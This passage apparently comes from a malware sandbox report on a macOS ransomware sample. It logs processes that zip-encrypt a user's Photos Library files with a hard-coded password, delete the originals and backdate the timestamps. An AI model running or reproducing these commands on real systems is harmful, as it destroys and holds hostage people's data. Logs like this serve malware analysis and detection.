  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/protection"
  2⤵
  PID:726
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/protection.crypt"
  2⤵
  PID:727
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT"
  2⤵
  PID:728
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT"
  2⤵
  PID:729
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT"
  2⤵
  PID:729
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA"
  2⤵
  PID:730
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA"
  2⤵
  PID:731
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/.Photos_SUPPORT/_EXTERNAL_DATA"
  2⤵
  PID:731
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal"
  2⤵
  PID:732
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal"
  2⤵
  PID:733
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal"
  2⤵
  PID:733
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-wal.crypt"
  2⤵
  PID:734
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist"
  2⤵
  PID:735
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist"
  2⤵
  PID:736
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist"
  2⤵
  PID:736
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/DataModelVersion.plist.crypt"
  2⤵
  PID:737
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm"
  2⤵
  PID:738
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm"
  2⤵
  PID:739
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm"
  2⤵
  PID:739
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/Photos.sqlite-shm.crypt"
  2⤵
  PID:740
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db"
  2⤵
  PID:741
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db"
  2⤵
  PID:742
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db"
  2⤵
  PID:742
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/database/metaSchema.db.crypt"
  2⤵
  PID:743
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources"
  2⤵
  PID:744
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources"
  2⤵
  PID:745
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources"
  2⤵
  PID:745
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"
  2⤵
  PID:746
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"
  2⤵
  PID:747
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives"
  2⤵
  PID:747
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"
  2⤵
  PID:748
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"
  2⤵
  PID:749
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs"
  2⤵
  PID:749
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"
  2⤵
  PID:750
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"
  2⤵
  PID:751
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration"
  2⤵
  PID:751
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/thumbs/thumbnailConfiguration.crypt"
  2⤵
  PID:752
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"
  2⤵
  PID:753
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"
  2⤵
  PID:754
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/derivatives/masters"
  2⤵
  PID:754
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"
  2⤵
  PID:755
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"
  2⤵
  PID:756
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing"
  2⤵
  PID:756
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data"
  2⤵
  PID:757
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data"
  2⤵
  PID:758
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/data"
  2⤵
  PID:758
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"
  2⤵
  PID:759
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"
  2⤵
  PID:760
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/metadata"
  2⤵
  PID:760
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"
  2⤵
  PID:761
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"
  2⤵
  PID:762
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cloudsharing/caches"
  2⤵
  PID:762
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"
  2⤵
  PID:763
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"
  2⤵
  PID:764
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/streams"
  2⤵
  PID:764
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"
  2⤵
  PID:765
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"
  2⤵
  PID:766
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals"
  2⤵
  PID:766
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"
  2⤵
  PID:767
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"
  2⤵
  PID:768
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj"
  2⤵
  PID:768
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum-snapshot.plj.crypt"
  2⤵
  PID:769
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"
  2⤵
  PID:770
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"
  2⤵
  PID:774
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist"
  2⤵
  PID:774
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession.plist.crypt"
  2⤵
  PID:775
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"
  2⤵
  PID:776
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"
  2⤵
  PID:777
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj"
  2⤵
  PID:777
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume-snapshot.plj.crypt"
  2⤵
  PID:778
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"
  2⤵
  PID:779
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"
  2⤵
  PID:780
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist"
  2⤵
  PID:780
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum.plist.crypt"
  2⤵
  PID:782
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"
  2⤵
  PID:783
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"
  2⤵
  PID:784
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist"
  2⤵
  PID:784
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory.plist.crypt"
  2⤵
  PID:785
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"
  2⤵
  PID:786
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"
  2⤵
  PID:787
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist"
  2⤵
  PID:787
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/HistoryToken.plist.crypt"
  2⤵
  PID:788
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"
  2⤵
  PID:789
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"
  2⤵
  PID:790
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj"
  2⤵
  PID:790
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FetchingAlbum-snapshot.plj.crypt"
  2⤵
  PID:791
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"
  2⤵
  PID:792
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"
  2⤵
  PID:793
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj"
  2⤵
  PID:793
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace-snapshot.plj.crypt"
  2⤵
  PID:794
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"
  2⤵
  PID:795
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"
  2⤵
  PID:796
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj"
  2⤵
  PID:796
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ImportSession-snapshot.plj.crypt"
  2⤵
  PID:797
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"
  2⤵
  PID:798
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"
  2⤵
  PID:799
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist"
  2⤵
  PID:799
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword.plist.crypt"
  2⤵
  PID:800
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj"
  2⤵
  PID:801
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj"
  2⤵
  PID:802
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj"
  2⤵
  PID:802
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset-snapshot.plj.crypt"
  2⤵
  PID:803
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"
  2⤵
  PID:804
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"
  2⤵
  PID:805
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist"
  2⤵
  PID:805
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Asset.plist.crypt"
  2⤵
  PID:806
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"
  2⤵
  PID:807
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"
  2⤵
  PID:808
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj"
  2⤵
  PID:808
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Keyword-snapshot.plj.crypt"
  2⤵
  PID:809
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj"
  2⤵
  PID:810
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj"
  2⤵
  PID:811
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj"
  2⤵
  PID:811
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Memory-snapshot.plj.crypt"
  2⤵
  PID:812
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"
  2⤵
  PID:813
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"
  2⤵
  PID:814
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist"
  2⤵
  PID:814
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/FileSystemVolume.plist.crypt"
  2⤵
  PID:815
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"
  2⤵
  PID:816
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"
  2⤵
  PID:817
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist"
  2⤵
  PID:817
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder.plist.crypt"
  2⤵
  PID:818
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"
  2⤵
  PID:819
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"
  2⤵
  PID:820
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj"
  2⤵
  PID:820
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Folder-snapshot.plj.crypt"
  2⤵
  PID:821
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"
  2⤵
  PID:822
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"
  2⤵
  PID:823
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj"
  2⤵
  PID:823
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album-snapshot.plj.crypt"
  2⤵
  PID:824
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist"
  2⤵
  PID:825
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist"
  2⤵
  PID:826
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist"
  2⤵
  PID:826
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/ProjectAlbum.plist.crypt"
  2⤵
  PID:827
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"
  2⤵
  PID:828
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"
  2⤵
  PID:829
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj"
  2⤵
  PID:829
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person-snapshot.plj.crypt"
  2⤵
  PID:830
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"
  2⤵
  PID:831
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"
  2⤵
  PID:832
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist"
  2⤵
  PID:832
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace.plist.crypt"
  2⤵
  PID:833
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"
  2⤵
  PID:834
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"
  2⤵
  PID:835
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist"
  2⤵
  PID:835
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Person.plist.crypt"
  2⤵
  PID:836
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist"
  2⤵
  PID:837
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist"
  2⤵
  PID:838
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist"
  2⤵
  PID:838
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DeferredRebuildFace.plist.crypt"
  2⤵
  PID:839
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"
  2⤵
  PID:840
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"
  2⤵
  PID:841
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj"
  2⤵
  PID:841
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/DetectedFace-snapshot.plj.crypt"
  2⤵
  PID:842
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"
  2⤵
  PID:843
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"
  2⤵
  PID:844
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist"
  2⤵
  PID:844
- /usr/bin/touch
  touch -mt 201002130000 "/Users//run/Pictures/Photos Library.photoslibrary/resources/journals/Album.plist.crypt"
  2⤵
  PID:845
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"
  2⤵
  PID:846
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"
  2⤵
  PID:847
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl"
  2⤵
  PID:847
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"
  2⤵
  PID:848
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"
  2⤵
  PID:849
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/resources/cpl/cloudsync.noindex"
  2⤵
  PID:849
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/originals.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/originals"
  2⤵
  PID:850
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/originals"
  2⤵
  PID:851
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/originals"
  2⤵
  PID:851
- /usr/bin/zip
  zip -0 -P shjhijbaooh5Ozw13WdOEFoMp "/Users//run/Pictures/Photos Library.photoslibrary/private.crypt" "/Users//run/Pictures/Photos Library.photoslibrary/private"
  2⤵
  PID:852
- /usr/bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private"
  2⤵
  PID:853
- /bin/rm
  rm "/Users//run/Pictures/Photos Library.photoslibrary/private"
  2⤵
  PID:853
- /usr/bin/zip
